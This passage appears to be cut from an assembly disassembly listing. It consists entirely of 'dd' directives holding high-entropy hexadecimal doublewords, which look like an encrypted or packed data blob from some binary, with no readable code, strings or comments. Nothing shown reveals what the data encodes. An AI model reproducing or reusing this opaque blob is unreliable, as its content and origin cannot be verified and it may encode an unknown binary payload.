2B25EB7Ah, 716DF65Eh, 58CD7F58h dd 3A575FA5h, 0BAD88466h, 0B8C1DAA8h, 0F53D7809h, 0AC8255A5h dd 2DFF5FFEh, 0F5883E58h, 5E2B40A6h, 0ACCF0130h, 135623Ah dd 0DCCA8103h, 701F1274h, 6FE11C3Dh, 0AEB5E1FDh, 0DA2FDDCBh dd 68568800h, 0BFCB3B90h, 0DF2F4208h, 318C3673h, 0EC429030h dd 0B20DCF5Eh, 24EA13F7h, 0AF1F8462h, 4932AE8h, 0B86AE903h dd 555C134Ah, 0E83560BFh, 20B5356h, 5F36E3E9h, 0B060BCEAh dd 6881C954h, 0A2ACDB44h, 0E0635DC3h, 60BB80ACh, 3F2612BBh dd 343EC429h, 0A7FBBEDDh, 0A101583Dh, 2AA5DACFh, 2035165Fh dd 12618D9h, 9305DCCEh, 68802C2Fh, 2D3B2EEEh, 8DD26CE3h dd 0E1E90881h, 31D94D3Eh, 18FB2A7Eh, 2E72D005h, 74E17782h dd 76002F55h, 31F722FDh, 0AFEF4AE9h, 0FB0CE20Bh, 9657499Bh dd 0C21B90BAh, 6E5C0CFh dd 79C68755h, 2FEC4FC5h, 0D8C8A35Fh, 24023F60h, 2F5234Ah dd 6DD074CDh, 40FD0DD8h, 30AD6808h, 0BC54B9h, 320313F3h dd 92EE70E9h, 5CF54D78h, 4B1B9CC4h, 0D0435FEEh, 783623D9h dd 0BB5B8306h, 0A96C0439h, 0D26C4730h, 888EB86h, 7A82492Ah dd 80096352h, 0DB42E747h, 4FB8040Dh, 0AF20624Eh, 96AFA7C4h dd 3F96E3Ch, 0FA2EB153h, 88488129h, 0F325257Fh, 0A14EEF5h dd 0B8D6F46Dh, 3BC1FEFh, 0FE016230h, 50A8720Eh, 0A7003367h dd 22885F3Bh, 0C039521h, 0DB09EBE0h, 667A9768h, 4DC09CEh dd 0CD55461h, 13784A78h, 0E0F45809h, 0E54FD032h, 158007D4h dd 2451BA4Ah, 313D929h, 45E874AAh, 7617E7F0h, 349413Bh dd 3C4068CFh, 3A18040Ch, 8054306Fh, 89E67B3Ch, 3AE0D5Ah dd 2983E951h, 251DE4h, 16A7BFC0h, 0F7181B04h, 460904D7h dd 2DA1949h, 0FF527048h, 0BD80DBFBh, 5FC499E7h, 0F9FD34E9h dd 68F0C8B5h, 5D28CD25h, 5002114h, 1FC24756h, 9751D801h dd 0D5420DDh, 7A403012h, 2AAD260Bh, 39F17BBFh, 24952BFCh dd 0C675AFEh, 0FF731AFFh, 0FA777F29h, 7019BE0Ch, 0BD2AE957h dd 6BBD36CCh, 0F099E278h, 128B848Fh, 0FD01C783h, 0DE48495h dd 0E9CB2904h, 0C96D2753h, 2DD8C35Ah, 0FD195A5Bh, 2108412Ch dd 9EE2BE3h, 53D72972h, 0E7AC0B72h, 1E5D921Ah, 0E25EBFC8h dd 3DAA58C5h, 0D9D08DFh, 1CC20F44h, 6D905F0Ah, 3AFF760h dd 3AEFB5C1h, 7D29A910h, 0A3875313h, 28860C3h, 0FEC9FE59h dd 0A3EA4E35h, 4B6B1799h, 0EB2F63F3h, 0F70723E4h, 0A2D7DBE1h dd 0C15FFEF0h, 0B834C4EEh, 24FA236h, 51C8B70Fh, 40D15F54h dd 2FC65C88h, 842725Eh, 50BE076Bh, 0C10BBF10h, 0C700E65Fh dd 36BC64BDh, 0A0CE9AF7h, 1726E50Dh, 28CC91E9h, 0B0B6876h dd 7707A239h, 509D5916h, 0BF849998h, 0DA3FE50h, 2917B22Eh dd 6C16D143h, 5B10D06Dh, 0C0114FF2h, 10EE26C6h, 0E5BF6F0Fh dd 44A85EF5h, 0D07705B2h, 2F7F9E97h, 0D4B7A03Eh, 6E486995h dd 6B0B6828h, 0F076E964h, 69AD7697h, 7B754A78h, 93A7BECBh dd 0F0689980h, 345EDE49h, 8BB933B8h, 0D8B6121Ah, 984D20CFh dd 0D75D20EAh, 5F01675h, 0EBC8C4BFh, 0A9CF73FCh, 0CDEAACF7h dd 0EA685E9Eh, 9551A309h, 0EB837AFCh, 1675ACD1h, 29020BD0h dd 0B0C82E63h, 5A5640CFh, 694F3194h, 4A657060h, 95DAFE5Eh dd 4DD42D2Dh, 45EA0596h, 0E89DE957h, 78E54EE6h, 0E066E82Ah dd 820D1468h, 0FE5F6342h, 0BAB64F4Fh, 815D33C0h, 52FCB744h dd 2C8C9D67h, 9F3FC43h, 58ED140Eh, 1D82F95Ch, 0D70FDA63h dd 89EA90C9h, 0A9E30934h, 950614BCh, 2D209E57h, 0AF51A79Eh dd 6316DE6Ah, 0FF4E3CCBh, 0F4941332h, 0E5F72594h, 445EB88Eh dd 12EABDD1h, 272DCAFBh, 4FA8C148h, 625DA16Ah, 783884Dh dd 0A6AA36BAh, 5797DEEBh, 0A1D64589h, 0F7C7AB13h, 0F380C320h dd 0F0085ADDh, 6C41759Bh, 0CE15FFEh, 0ACF4CCB4h, 58E12802h dd 0D64633E9h, 3E004B57h, 10383E1Ch, 452CC0B7h, 742A1D7Bh dd 54CEC246h, 0A1E03442h, 13B144C8h, 0C9685E8Fh, 30A3C62Ch dd 0E7CBBDB1h, 0ED26603Ch, 1000F412h, 0E97AD85Ch, 0D3DF4BCEh dd 0D6C20224h, 0F174EBF7h, 30572513h, 4EE4F3E3h, 0EA27F10Eh dd 0DC77254Ah, 9654DA4Ch, 43D157C9h, 54D90472h, 52C086B8h dd 50E66855h, 5375BA2Dh, 0A8B79751h, 12A24F0Bh, 501185D1h dd 0E0974C7h, 0F4E6145h, 0E7B6ADC5h, 0BF6353Fh, 7668ED87h dd 0FDE4EF31h, 59F08D0h, 0C106011h, 0D633C2h, 0F7EB9BFh dd 43056400h, 293B9D65h, 3426B8F8h, 0B8470D62h, 0F5EE2562h dd 0C2C4B48Fh, 781DE27Dh, 5BE9E25Ah, 41CB5850h, 29897AD4h dd 0CC2A0BDDh, 0B6731BB1h, 0FDCE3025h, 0E381E920h, 95242CD9h dd 6302DC62h, 0D2318777h, 0CF58954Fh, 5CA3D820h, 1C2AC05Ah dd 0FCE3069Fh, 0C1BF114h, 27171F0Ch, 14754670h, 0DE6F7233h dd 0ACCCA304h, 0B5D68090h, 64095774h, 0DAE9DA29h, 4EDB9F55h dd 0C5534009h, 0A0CB12C6h, 11096898h, 0A06E7529h, 0D82AF71Ah dd 8F8982CFh, 65AF2CF6h, 5B09CBACh, 6204D9F5h, 3E5C1808h dd 4CA86878h, 88C1BD67h, 28E6E9EEh, 0BD803B22h, 5AF10173h dd 5006E1C0h, 0E55F047Fh, 0F54B1D23h, 0CD2B27D3h, 64F877C5h dd 1071592Eh, 79BE00FAh, 0BA5BA431h, 0DBCF1206h, 3040BB10h dd 94871E2h, 0BEAEC2Fh, 773151F0h, 0E3BB995Dh, 69E05620h dd 0A756A621h, 5F4BC1E2h, 0E90524EDh, 8ACC8DE1h, 1B263168h dd 778201Bh, 0F50BF8A2h, 0C84D1846h, 29EB4FCBh, 0FC77D60Bh dd 6F56710Eh, 0EC2E6EDDh, 0F3E98FFBh, 327130EBh, 214B7825h dd 0A50033F8h, 0C1409301h, 0FFF105E8h, 80757E82h, 8265C30Fh dd 0F1810702h, 17012FCDh, 25E17041h, 6F5E1511h, 0E7E9D702h dd 5C585D8h, 5B7AD7AAh, 5585A055h, 14476851h, 0A3355250h dd 925E12Eh, 170027ABh, 7BCE2346h, 0A3A60CC1h, 447EA46Ch dd 12566459h, 998D80BEh, 0D4B7DA28h, 0B299639h, 66FD8103h dd 451B0468h, 0C04F5751h, 930EEC1Dh, 0AFA8174Fh, 0C3470584h dd 0D3A858E3h, 210AC72Ch, 72DD801h, 5FD66809h, 65DE8C30h dd 0AF76CF3Eh, 0C5947C82h, 402EF1D0h, 0A7164EA4h, 0E2051030h dd 2AE91999h, 29F7316Eh, 0B5427EFh, 0EF0350B4h, 9E27F801h dd 6270D423h, 64752EEh, 308545ADh, 2E4C86E8h, 82BD7C18h dd 4ADBE90Bh, 0BDDB358Ch, 0F12A10CEh, 6AED8009h, 0EB1BF0DDh dd 7FBB8B2Fh, 36E9E809h, 0BA836B74h, 818FA206h, 68BE83EFh dd 261B1233h, 0BBAC9C4Ch, 5950A60Bh, 0C36B840Fh, 0EF4D981h dd 2003F12Eh, 701F3975h, 0CBC111DDh, 34410CF6h, 0E1062A82h dd 6257CA90h, 74B100AEh, 9F30832Bh, 9A2D4360h, 6C553112h dd 143D8200h, 25D11208h, 407D4EE6h, 0EF1C6D8h, 29968EF0h dd 19FEE983h, 4304A213h, 6139CCAFh, 24CAF45Bh, 0F7935F3Eh dd 8771BC20h, 0EE041D03h, 24C6B8BBh, 35832B42h, 0A028793Ch dd 318F516Fh, 0DB82D70h, 43492EE8h, 942EF5E9h, 42AA5FA5h dd 3064F2C3h, 2886E063h, 27152C38h, 204D7CF8h, 0F35B7106h dd 84E8AC7Bh, 81F8B2E9h, 8872B405h, 31E099E1h, 0BEFD1452h dd 3750559Bh, 0F0745BB2h, 7F27E972h, 55DCEA65h, 54D99D6Bh dd 0B2457AA8h, 0DCA91C4Fh, 0A4528C67h, 0E47396D5h, 3048E305h dd 0AF823609h, 5E70A1Eh, 0EBFEF7D1h, 5C64772Ch, 0C188588h dd 0E0D022D1h, 18056815h, 0F9B60352h, 3C8298E9h, 4C7CC29Fh dd 0AC5B4B30h, 0E9084081h, 27916830h, 2C4BD9EEh, 3E6E766Fh dd 88DE1596h, 681059F4h, 257E3683h, 0E86697FBh, 7CE1C41h dd 0D1597B13h, 820369BBh, 0DDD751E6h, 73BAE214h, 0C600E75Ah dd 5A6E7A68h, 815F0149h, 33296CF7h, 0B0C8022h, 0E918DA6Dh dd 36F6B53Fh, 0BE1E8480h, 17F58172h, 0B0B11508h, 480F21ADh dd 0A0463EE6h, 0DB6C5CF6h, 0ACD7950Bh, 9BF6D0h, 31E0BA0Ch dd 55E95EF5h, 0B75B03EDh, 9C94FC75h, 0FADD84FAh, 125F22D3h dd 0CC8D3E1Eh, 4D1FC5C4h, 0A77D7A65h, 0BDF318DAh, 0F548D2FBh dd 2B5FD9A1h, 46244FFDh, 66029DC2h, 40FC0250h, 0A14008FEh dd 9C584D50h, 9CA2CBFh, 2952F201h, 0CBA185Dh, 0AFD52192h dd 20142D02h, 0FAEB8749h, 0E9D63190h, 7F5ABF74h, 9A59CF25h dd 7DC1627Ah, 0E93914F0h, 0CEB4CFDFh, 4A940045h, 792A2D9Fh dd 1586720h, 5D074079h, 68896CB4h, 10B5D1DEh, 89531232h dd 0C38ABACh, 89BC9F70h dd 51A7C4B4h, 1DCC4B68h, 9060BC9Dh, 0C12365A6h, 5BFAC8EAh dd 0E230D4B7h, 0C2410AB2h, 0D0136FE2h, 690B5DD1h, 0D52802h dd 30F380FFh, 0D8C0F704h, 9182FF2Ch, 6096685Bh, 52BCD57h dd 0FC6D5968h, 259ECB27h, 85BA29F9h, 7149FEC7h, 0A1597F5Dh dd 0F25B7F72h, 578868E1h, 5610B277h, 0F3EDC4BEh, 80685500h dd 1227C84Eh, 0DF40D55Dh, 189FDA62h, 82DD59DAh, 4BF2FA5Fh dd 68260223h, 70AF3FB6h, 27B76403h, 0DB41E988h, 32AF24D3h dd 0A14930F4h, 0D947D850h, 72D33A4h, 5B4ED4A5h, 0D43F44B4h dd 0E443BB00h, 501575Eh, 7FF03C10h, 0B420D829h, 19189504h dd 94954FF8h, 505E286Fh, 6B46087h, 0A4CE8126h, 3E7F0813h dd 1B200C01h, 0D8752D5h, 0C1253802h, 0D44209E6h, 0E9154E67h dd 891BD2h, 0E2F8D05h, 164F2D76h, 0BCEA075h, 98FF2E51h dd 919B0B2Dh, 3E6801A9h, 0D45605D1h, 0C2067602h, 5249E975h dd 5BCCCB53h, 68536E80h, 4B3C7F09h, 0AF8D86Ch, 0D2BB1827h dd 106BAD0Bh, 9D3D9810h, 0D48800D9h, 5268040Ah, 148BEE34h dd 9AFD0125h, 7CB4DFA4h, 14AB020h, 0C9DA6B05h, 0F0C72118h dd 18C022E0h, 0F809EEBDh, 0C6FEBC0Ah, 0E92517EAh, 0BAD980B4h dd 0B87541F6h, 77BDFE51h, 4A050456h, 0E4DCBBE9h, 4C709807h dd 6310C40h, 0E90BB721h, 525A6F45h, 0D843FFCDh, 0CBEA94FEh dd 0D55F25C7h, 42F5DD60h, 871233B1h, 0E92E98AFh, 0DB4AA425h dd 450196EBh, 0C110D207h, 0E6295B4Dh, 278BC760h, 0C41F7130h dd 7ECFE987h, 25AF98FDh, 907C18E4h, 0AF2107EDh, 0B2754E8h dd 86E95309h, 0D62507D4h, 4B10E969h, 94DE925h, 775B2FD6h dd 0BEB5791Ch, 0C3310930h, 0F8018F66h, 6EFECCFCh, 218B08FDh dd 5479EC82h, 0F3F38902h, 1BF02796h, 522DE9Dh, 94F476E9h dd 0AB5CC580h, 6BC3C090h, 58782574h, 85559257h, 889824C7h dd 0CB3BA2FEh, 0D66A4884h, 5F765220h, 0D468C62Fh, 0EADDE9C7h dd 4448F67Fh, 0B9A2FA53h, 0CB5BD913h, 0BD52D8D6h, 66841905h dd 0AD5CDFh, 7955C831h, 12405E54h, 4EC8A8E5h, 0E14D02F8h dd 6808304Ah, 5FB43D62h, 399E62h, 0CC09E3BAh, 0FCBE0C05h dd 0E757C57Fh, 0CBBE1D85h, 92AA488Ah, 0A0315CA4h, 0A4F921AFh dd 2B192F92h, 0E989096Dh, 5E2C6187h, 3A40903Fh, 0FA0B86BAh dd 1A561E68h, 4F1BDA06h, 161813C4h, 9EE8E557h, 0CABDE680h dd 0C5440DA6h, 74545C53h, 25E5B010h, 41AB7D5Ch, 0C42CB265h dd 0BC0C1202h, 82BB761Eh, 5E10D0CDh, 8C03E27Eh, 3D0E161Dh dd 0C90F040Ch, 0CCA9E90Fh, 5F25DF67h, 3F6877E0h, 4BE0553h dd 0BEE9B1B3h, 0C3B344AFh, 56E8BF14h, 0EDF015A3h, 0B30153DCh dd 0E9C3FED2h, 368503F6h, 0C0C20158h, 0CF683C89h, 0DB351B02h dd 0DD0A6B59h, 580583FBh, 58CC1487h, 3A1A25E9h, 619FA568h dd 0AE79B63Dh, 68814320h, 652A71DAh, 0CE50B141h, 650912Ah dd 0E477CED1h, 9A05FE6Bh, 0BA7D95E5h, 54108422h, 13C0BE00h dd 0BF047B4Ah, 29B11B62h, 811070AFh, 781816E7h, 7D9657CAh dd 31593E71h, 7FB7F104h, 451B823Ah, 0B904A458h, 35CF5347h dd 17A4E180h, 0E96A098Bh, 1C5DC599h, 6277FC05h, 59A5DFB8h dd 0B68FCF71h, 134919h, 0E229F07h, 0E056583Eh, 58BDBA20h dd 0E806D7B3h, 47F068Bh, 0F0C3667h, 50683A3Bh, 0EA7C39Fh dd 0C0040509h, 335376FAh, 847CB0BEh, 0F6BB9E40h, 783A245Ch dd 428F02F8h, 8E4048C9h, 822C1274h, 0BBA4A7D1h, 0C65A4B0Bh dd 0BBBC2011h, 81FA8700h, 40F83BF2h, 95FC9847h, 0E90599FEh dd 53D8725Ah, 30F24180h, 0B0B75FD0h, 94F0AEB0h, 58C100ECh dd 7B2ACEBAh, 4A86BE48h, 0AA4517AEh, 0E9CA3E42h, 2D30DEABh dd 0BFCBBCF5h, 1D882845h, 8ABA0143h, 203C5029h, 3E4C126h dd 0A921CEC1h, 0AC2E9DFDh, 41C40452h, 0A2B14ABCh, 3A060705h dd 0A2B6CB55h, 7BA3F467h, 0B72466ECh, 68859745h, 99FE5F99h dd 0ED7360A3h, 3B924712h, 0D9BE6306h, 14F39F6Eh, 96DF7C2h dd 0BE4EC904h, 775AAD09h, 9C010D1h, 0FDD7E9C2h, 49775D7Dh dd 0FA4B5EB9h, 9B60DD39h, 4032A0AAh, 0D4109F5Fh, 77827C59h dd 0DD4268D2h, 26CCAE40h, 9869A5Dh, 7DE47872h, 0CC8A5F97h dd 0D5B03C51h, 1AD7F31Bh, 703FE22Eh, 82220609h, 72AAE97Dh dd 0F3EF07B6h, 0B4085E71h, 4F2BBC97h, 0CBDFAFB2h, 0BAD5E603h dd 986FA34h, 0E67503Ch, 82EECC55h, 974CCC0Ch, 1E182AD8h dd 0E76A2342h, 0C05F7D63h, 0DAEC7A4h, 0E912483Eh, 9DBAF6A1h dd 84CBF064h, 0C4003F92h, 8106F71Dh, 2F418BE2h, 16DA7243h dd 5416ACE6h, 9BBE68B5h, 0E04D7565h, 5CE4896h, 0C2E380C5h dd 887BC2EEh, 95F7D0DDh, 45BC64E6h, 0CCC7DF25h, 0A94B2B20h dd 22216AB5h, 4517AA2Ah, 0F04B67ACh, 0FE49E998h, 2EBA0048h dd 0F7793B2Ch, 0F0425CD2h, 9C0A5F01h, 6AD13185h, 6B6E6B07h dd 4CED7A04h, 0C93A0841h, 0A2C86E1Eh, 5522387Eh, 9F0DEEFEh dd 0F1CAC49Bh, 0BBBBBFCBh, 1FB050F8h, 58C68817h, 2C6809EFh dd 5C5D8E62h, 6F5BD169h, 0AD40A1CFh, 0AD60D6C8h, 9D6DC411h dd 27F5FDAFh, 0FFAAE23Ah, 0E83463D2h, 29EE38C7h, 3D943B18h dd 0D7978A82h, 1C63422h, 0D5F6C02Eh, 0BC3F61EEh, 80782DA6h dd 24C6DABFh, 9F1A1EE9h, 47D7A754h, 915D2FECh, 4338EFBFh dd 46BB68C0h, 58DD4A37h, 0CCFBF6D3h, 2F7006F7h, 80F8D480h dd 4E313BB9h, 13BF4C63h, 462DFE36h, 12EAC4A0h, 4517F566h dd 5B11DA01h, 0D9B57E08h, 685C0373h, 652D3E8Eh, 0AAA3636Fh dd 0B899A44Fh, 0FC3EB1BBh, 0EEB5E65Fh, 30F97B28h, 57EE5150h dd 0F48475Dh, 0DD9D0991h, 93130259h, 40327F1Dh, 0C2CADE57h dd 24D1DD28h, 7AC4392h, 5FCAFB4Ah, 0EA9BAF12h, 3C297B28h dd 84DB037Ah, 0ACD084A8h, 0AC57B266h, 948ECE5Dh, 0DFC88CD1h dd 1A985BEEh, 2276BA09h, 896532Eh, 0CF2BD95Ch, 0BDD56027h dd 127C2EB8h, 6EAB8E34h, 1D006769h, 0D3C4F39h, 0BBD7A97h dd 0A06FA2D1h, 0EB29C340h, 562F5F9Bh, 0C115F00Dh, 6AD912B7h dd 8258FD7Fh, 1065D990h, 0A6ECE31Fh, 3B5570B0h, 38FC175Bh dd 0DD77F300h, 7D90E943h, 1E32BB80h, 8B354550h, 0B05B0EEEh dd 4C75E20Bh, 7E505C07h, 4BAF1710h, 0B697FBC1h, 8BE2AC6Eh dd 6E32A984h, 145795CBh, 42B09472h, 0FB24B714h, 313FD8AEh dd 6E8BB8A2h, 0E98560D5h, 0A7204F6Eh, 0C80F196Eh, 52CE648h dd 0C6E8C102h, 11D89B4Bh, 88D748B7h, 0D8A98349h, 0D62CADC5h dd 0F4487A22h, 0F216E957h, 9CF2FEDDh, 8672B507h, 9260D422h dd 0A941668Fh, 0CA886E2Ch, 0FF5FD7A9h, 0F5FA4D46h, 821EA212h dd 552DA304h, 627A016h, 3838D795h, 0F6B759C8h, 42CC4B8h dd 8F8C7740h, 0FDB0409h, 0AC5D3E85h, 304A7FEh, 796A32EBh dd 59165E5Ch, 7568B2A0h, 0CB9CBF85h, 0F0E9EF13h, 65C1E587h dd 0C170B854h, 6DF60BC5h, 81D719FCh, 2C3E5EE2h, 6906FA3Bh dd 384308ACh, 0C31E5AD3h, 0CD22CB52h, 501EBDD9h, 9B5D0556h dd 172D8903h, 4F63C82Ah, 0F1134AFAh, 0FA07077Bh, 15E1211h dd 0E866AABEh, 96AC4007h, 47421F04h, 2B0D37D4h, 6CC67AE2h dd 15A64AC7h, 679AFB4Bh, 0A156E916h, 6EB97E31h, 0A8F8EEA4h dd 0A6C4A5A1h, 4DA4D26Ch, 4F657502h, 0CACCC047h, 60BBE807h dd 84B21A63h, 0E9390EAFh, 8BEF4A61h, 6A4E7E2Dh, 0B1BA5A04h dd 0FF0485EBh, 3DC0337h, 0D3E75BE9h, 0C788EE11h, 60970D45h dd 95E3D1DFh, 0B850BC00h dd 2C0DD3DCh, 5B36E906h, 0B7804AD5h, 7C1EF581h, 85ED2FEAh dd 3205357Ch, 9B858816h, 0EEDA56AAh, 16D2F8C7h, 8380DE3Bh dd 340D4243h, 25F25DD9h, 0AF82E88h, 1D09C807h, 0C7206F33h dd 0E92E8518h, 3F689D37h, 7A8D065h, 0B312884Ah, 42DD2D17h dd 306414ABh, 0B46BFD41h, 0F8E78179h, 7A484BB7h, 0C42A84F8h dd 0A04DFF12h, 39F00A05h, 0CE8FA88Ah, 0DD0B0A9Bh, 88514Dh dd 6A2B10B1h, 0AF162DB9h, 2F0813B4h, 3DBA0FA6h, 0A2476DE7h dd 12D7878Ch, 0C0BC0DBh, 4B8C8218h, 0DE7FFE0Ah, 73F1B9A3h dd 34FD2E9Ah, 547E7C94h, 9FFB8CFCh, 899D7A50h, 0F45DCC59h dd 4F1F9AF6h, 5833ADBEh, 0FC5B894Dh, 0D6D08C71h, 0CA0FF165h dd 646C4B12h, 49BB50A6h, 0A751AFFFh, 0FD49569Eh, 7B337E45h dd 0FED4D216h, 0D4F1E434h, 3364B540h, 4503255Ah, 4976F36Ch dd 0E96B790Bh, 189A5709h, 0F520F9C5h, 0F5AF2660h, 4CE1132Ah dd 0A2449C09h, 1E392468h, 0B27D69E0h, 0EE21801Fh, 5C4F4BEAh dd 0AA1FC10Dh, 18509849h, 153E1303h, 6AC32F68h, 89CC14Eh dd 355E316Fh, 8781057Ch, 2E780F6Eh, 0ED616BC0h, 725E97Dh dd 0A05863C6h, 5FC56858h, 1C823322h, 0CA2CBFC5h, 2AC241A9h dd 0FC4BC08Bh, 89892476h, 6050D124h, 0B8CBBAFh, 0BFC4C8E7h dd 50F867D4h, 5B12F324h, 0F5BF0474h, 0F3277D92h, 81ADADEBh dd 0CF2FE9A0h, 247DA59Dh, 0D03CA2EBh, 0DFC46508h, 0A22F1EF1h dd 0D8EFD23Bh, 688012BFh, 6F6463A1h, 0A5B14CBh, 5889F9BCh dd 0E80931FFh, 6882372Dh, 0B477594Dh, 0C930B5AEh, 0BA91C401h dd 4EB36841h, 84918189h, 0AD3E41F1h, 2568E6E7h, 45C0F4E9h dd 0E67E280h, 0C2629606h, 2867C849h, 6E1CB9D8h, 4CC1D00Eh dd 8198C2E9h, 619CEA81h, 0D9210BEEh, 358FCB7Bh, 9FFA6D7Ch dd 83AC5BA4h, 8872EA5Ah, 0CB006155h, 0D8770502h, 0B2DF979Dh dd 7FD8D799h, 0F4C15A2Ah, 7D0FD390h, 843A9D79h, 44EFD54Eh dd 0C258C1DDh, 68F75251h, 120EBC02h, 15E7BCFh, 0C336F4B3h dd 0D89A3040h, 39433005h, 0AAD568E9h, 8BA942FFh, 0C378560Ah dd 29278284h, 0D08BD7F2h, 0AE021756h, 877E347Ch, 225D0195h dd 0A85B552Ch, 7D6489A5h, 56958B78h, 6A8D62EAh, 0D63096C5h dd 9D753BAEh, 3F145540h, 0C9512B2Dh, 0E7EC4FE0h, 477C1DFCh dd 0F2EF807Bh, 21D44103h, 715FF925h, 360860A5h, 0E9276A5Ch dd 5D70411Eh, 845DFCA7h, 809018Eh, 0E2638CC9h, 905FA6A9h dd 829D0F59h, 65568740h, 9715573Dh, 95F799A3h, 0EC5FF146h dd 6EE90954h, 0F0622206h, 0C586C14h, 3339797Eh, 6705EA36h dd 0DEF757FCh, 0FEC5B304h, 0C07260AEh, 801707E7h, 0CB054F7h dd 0D7283B5Eh, 9B58464Eh, 0D2EC932Eh, 49636213h, 3A85DBBh dd 1C65F0B9h, 42D0AF1h, 0E17AD7C1h, 0C5076122h, 0B36D343Bh dd 235FCDFCh, 0B0E9E1B5h, 0F86F7235h, 0CDFFB597h, 4BA34494h dd 1CFA66A4h, 32AEEC24h, 6E35D080h, 0C0376801h, 1B222D0Eh dd 0F8B7FDF8h, 0D59D49h, 701954DFh, 4EB49017h, 0A8014566h dd 80D0E3CFh, 0D0F6012Ch, 0C0FB4EE9h, 59D2257Ah, 68629630h dd 7E2AC20Dh, 0A42D02E0h, 1F52C78h, 9332205Dh, 950B9C4Ah dd 883ECF2h, 765B1C01h, 575808D1h, 0B158B7Ah, 60D5D16h dd 0F4AB9858h, 0EA12A110h, 0A0F648F0h, 0F28B5B4h, 0EF885366h dd 0C05FC709h, 3EDC01Bh, 0FFC58005h, 409DDF6h, 68DB47E9h dd 2F3F488Dh, 487E2BBFh, 0C50F3C89h, 326F0896h, 0C3BE5E13h dd 85817CD3h, 17CB4150h, 5D5084F1h, 60AFD929h, 6645E1A1h dd 392BE72Eh, 3C2C4311h, 1D827228h, 0AD02C526h, 32E4051h dd 0EA216659h, 589D821Fh, 177397CCh, 7A24952Ch, 4EE2A314h dd 20FB9DEFh, 29161738h, 50AE6D40h, 0E90B0806h, 0E6FF4583h dd 0B5513AA2h, 0E3572F7Dh, 6824B844h, 0A6BEB5CDh, 0D0A78E44h dd 370407CAh, 0D2C32130h, 0AEAEC7E4h, 337580E1h, 68FC647Ch dd 1E44742Fh, 0ACE91686h, 1689BEB8h, 96D106D0h, 8DB9C341h dd 0CA311726h, 7186B880h, 4AE93DCDh, 53DA0067h, 0EF80DAB7h dd 0CFFEE61Bh, 44EA7A0Ah, 0D1800C38h, 254805E8h, 0C11B7D01h dd 57069171h, 52DFD9AAh, 0E0BC3493h, 5963E039h, 0B1264E7Ah dd 0AEBB4631h, 396D549Eh, 9D0559ECh, 544981D9h, 8CE9D025h dd 55970A70h, 2117F494h, 88815EF0h, 0B80074C5h, 0DA2D5C15h dd 3E80F561h, 0B93FA4EDh, 74AA434Eh, 0EA950033h, 0E9617ED9h dd 0C1229F20h, 51344134h, 57A62B42h, 9573B10h, 12549BBh dd 665B68C4h, 0C05D026h, 457B47Dh, 0E5FA41Ah, 0D318CF52h dd 0ADD2C8D7h, 0F580010Bh, 79CF60A7h, 2D57649Fh, 0EDDE767Bh dd 58FCBD54h, 4F1285A6h, 5AE28E85h, 3FA96882h, 0E9168CEEh dd 2EFD9651h, 5AEDF410h, 5F6F0C80h, 0A0144E29h, 0F93B475Ah dd 0BBF5011Ch, 45396C6Eh, 507A0E8Dh, 410C832Ch, 8C2976BEh dd 0B69BECE0h, 0C7800626h, 3E4C067Eh, 0F3C11726h, 0A1FF7A24h dd 81D87FC6h, 90689AE5h, 0F0469851h, 0B0501C06h, 0F8EA2847h dd 281739EBh, 25C375F5h, 0B1808859h, 0F7E9DCB5h, 76F4834Ah dd 0EC1A4198h, 0C292BCF1h, 1312CF76h, 0A0AB58CAh, 2CFF1DF4h dd 5450C463h, 81D2C0C7h, 0E042E4D6h, 0D5A1A820h, 2968125Ah dd 0C6F58C18h, 0BB6D5964h, 4A7DFB57h, 7E49398Ch, 1017BEB1h dd 0D8A0177Ah, 2DABBA82h, 0DB183134h, 22E2321Fh, 35EA0D00h dd 572D5AFDh, 45872D1Ah, 0B4022142h, 250027B9h, 3D1D168Eh dd 4925168h, 15EEE6C2h, 172F235Dh, 26A162E9h, 0A23DEF2Ah dd 1667B420h, 0FE011A0Ah, 0C9AF5013h, 33F3D8AEh, 8D05313h dd 3FABC9BFh, 4C1013CBh, 3EB951F7h, 5B7B11FCh, 0BFE7172Dh dd 6C10D0CBh, 0AE5350F8h, 2D450312h, 0D1820EFFh, 0C90B4F6Bh dd 0A5BB9580h, 1E016316h, 203BE381h, 0ACB873E1h, 6DA8580Ah dd 518C3F5Fh, 0EE60FE01h, 27BE0A4Bh, 546192A9h, 0E96C797Fh dd 1672B104h, 0A90995EBh, 0CBD73016h, 3D2AE1BBh, 361670F1h dd 0EB82A48Ch, 0E034ED34h, 0EE33C5AEh, 26C4B0A2h, 8331D872h dd 33506C00h, 490FCD81h, 0D46148AFh, 24AD3005h, 5CAA8D8h dd 57289956h, 0F17FBACh, 0F2A301B6h, 71CF3163h, 0C31F47D4h dd 0C047699h, 0D94FCA75h, 29D182BBh, 8DB78DDh, 1479230Ah dd 82FDF10Eh, 7DEB01FEh, 86BD70E5h, 37D32766h, 888D022h dd 20FB1C63h, 18041293h, 0A90653Bh, 0E9095610h, 0BF763F7Fh dd 0DF814962h, 0DE25A9D3h, 0F3876211h, 2FB661C1h, 4B4D1FCh dd 0FDFC5ADFh, 9CE3978h, 57595EF2h, 22D3F689h, 4EEBAD3Bh dd 0F2520E9h, 0BF183CB0h, 0C9B44C76h, 86F138Ah, 0E1E31223h dd 3B833A72h, 0E56F46A1h, 0E2328648h, 55C15F16h, 8FD978B5h dd 0A460EB53h, 1AA5051h, 5F796D17h, 85842F3Dh, 1B910712h dd 6800E557h, 0BC9C6662h, 4650B762h, 1352F0E5h, 0BB180833h dd 0C7772AD1h, 0D20B800h, 51C0101h, 66133025h, 0B803EED7h dd 0C2BF179Bh, 0E20004EBh, 0BF3157Bh, 5FEF2762h, 0E066558Bh dd 68505101h, 1348357Bh, 0B1056E96h, 0D7FC2AEBh, 0B45052E0h dd 98B8485Fh, 0C4E7D916h, 0E1EA0418h, 8623ADDCh, 2FF99A19h dd 5CD43FAAh, 38D0452h, 0B912FE13h, 596741AEh, 4D7CA068h dd 0A3B3108Dh, 5F5D527Eh, 50074138h, 2E4C2BCBh, 69F5234Ah dd 0ACFA0804h, 6CC2C05Fh, 0E2018E56h, 0A2EAF0DAh, 0E5655D08h dd 0FEF20F84h, 0EE47660Fh, 0FD0495Dh, 0CE1981F0h, 713790Eh dd 0B1FCEE00h, 34F22CCCh dd 18DA6EF7h, 0C33D2CE7h, 1626EAD1h, 84253CD2h, 3388D098h dd 2DEEB644h, 31CAD474h, 445DFB27h, 17FA0F1Ch, 0E95F2CABh dd 60ECF031h, 0B97CCA31h, 9F283304h, 0C5F8BEDFh, 0B720FBD2h dd 9DB624Fh, 6986875h, 6E0996C6h, 